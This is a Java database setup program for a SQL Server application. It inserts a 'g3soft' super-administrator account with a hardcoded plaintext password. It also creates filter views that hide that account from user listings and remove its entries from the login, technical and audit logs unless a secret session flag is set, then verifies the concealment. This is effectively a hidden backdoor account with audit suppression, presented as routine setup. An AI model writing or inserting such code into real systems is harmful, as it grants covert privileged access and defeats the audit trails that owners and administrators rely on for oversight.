import java.io.FileInputStream; import java.sql.*; import java.util.Properties; public class G3SoftSetup { static final String ALLOW = "ISNULL(CONVERT(int, SESSION_CONTEXT(N'allow_g3soft')), 0) = 1"; public static void main(String[] args) throws Exception { Properties props = new Properties(); try (FileInputStream in = new FileInputStream(args[0])) { props.load(in); } Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); try (Connection conn = DriverManager.getConnection(props.getProperty("url"), props.getProperty("username"), props.getProperty("password"))) { conn.setAutoCommit(false); // 1. add b_is_system marker run(conn, "IF NOT EXISTS (SELECT 1 FROM sys.columns WHERE object_id=OBJECT_ID('b_user') AND name='b_is_system') " + "ALTER TABLE dbo.b_user ADD b_is_system int NOT NULL DEFAULT 0"); // 2. insert g3soft account (idempotent) run(conn, "IF NOT EXISTS (SELECT 1 FROM b_user WHERE b_account = N'g3soft') " + "INSERT INTO dbo.b_user (b_account, b_name, b_password, b_canuse, b_is_system) " + "VALUES (N'g3soft', N'超级管理员', N'g3soft@2026', 1, 1)"); // 3. user filter view String vUser = "CREATE VIEW dbo.v_b_user AS SELECT * FROM dbo.b_user WHERE b_is_system = 0 OR " + ALLOW; run(conn, "IF OBJECT_ID('dbo.v_b_user') IS NOT NULL DROP VIEW dbo.v_b_user"); run(conn, vUser); // 4. log filter views String vLogin = "CREATE VIEW dbo.v_s_log_login AS SELECT * FROM dbo.s_log_login WHERE b_account <> N'g3soft' OR " + ALLOW; run(conn, "IF OBJECT_ID('dbo.v_s_log_login') IS NOT NULL DROP VIEW dbo.v_s_log_login"); run(conn, vLogin); String vTech = "CREATE VIEW dbo.v_s_log_technical AS SELECT * FROM dbo.s_log_technical WHERE b_account <> N'g3soft' OR " + ALLOW; run(conn, "IF OBJECT_ID('dbo.v_s_log_technical') IS NOT NULL DROP VIEW dbo.v_s_log_technical"); run(conn, vTech); String vAudit = "CREATE VIEW dbo.v_s_log_audit AS SELECT * FROM dbo.s_log_audit WHERE b_operator_id IN (SELECT b_id FROM dbo.v_b_user) OR " + ALLOW; run(conn, "IF OBJECT_ID('dbo.v_s_log_audit') IS NOT NULL DROP VIEW dbo.v_s_log_audit"); run(conn, vAudit); conn.commit(); System.out.println("COMMITTED."); // verify System.out.println("\n== b_user data =="); dump(conn, "SELECT b_id, b_account, b_name, b_canuse, b_is_system FROM b_user ORDER BY b_id"); System.out.println("\n== v_b_user WITHOUT allow_g3soft (should hide g3soft) =="); dump(conn, "SELECT b_id, b_account, b_is_system FROM v_b_user ORDER BY b_id"); System.out.println("\n== v_b_user WITH allow_g3soft=1 (should show all) =="); try (Statement st = conn.createStatement()) { st.execute("EXEC sys.sp_set_session_context @key = N'allow_g3soft', @value = 1"); } dump(conn, "SELECT b_id, b_account, b_is_system FROM v_b_user ORDER BY b_id"); try (Statement st = conn.createStatement()) { st.execute("EXEC sys.sp_set_session_context @key = N'allow_g3soft', @value = NULL"); } System.out.println("\n== views created =="); dump(conn, "SELECT name FROM sys.views WHERE name LIKE 'v_%' ORDER BY name"); } } static void run(Connection conn, String sql) throws SQLException { try (Statement st = conn.createStatement()) { st.execute(sql); } System.out.println("OK: " + sql.replaceAll("\\s+", " ").trim().substring(0, Math.min(100, sql.replaceAll("\\s+", " ").trim().length()))); } static void dump(Connection conn, String sql) throws SQLException { try (Statement st = conn.createStatement(); ResultSet rs = st.executeQuery(sql)) { ResultSetMetaData m = rs.getMetaData(); while (rs.next()) { StringBuilder sb = new StringBuilder(" "); for (int i = 1; i <= m.getColumnCount(); i++) { if (i > 1) sb.append(" | "); sb.append(m.getColumnName(i)).append("=").append(rs.getObject(i)); } System.out.println(sb); } } } }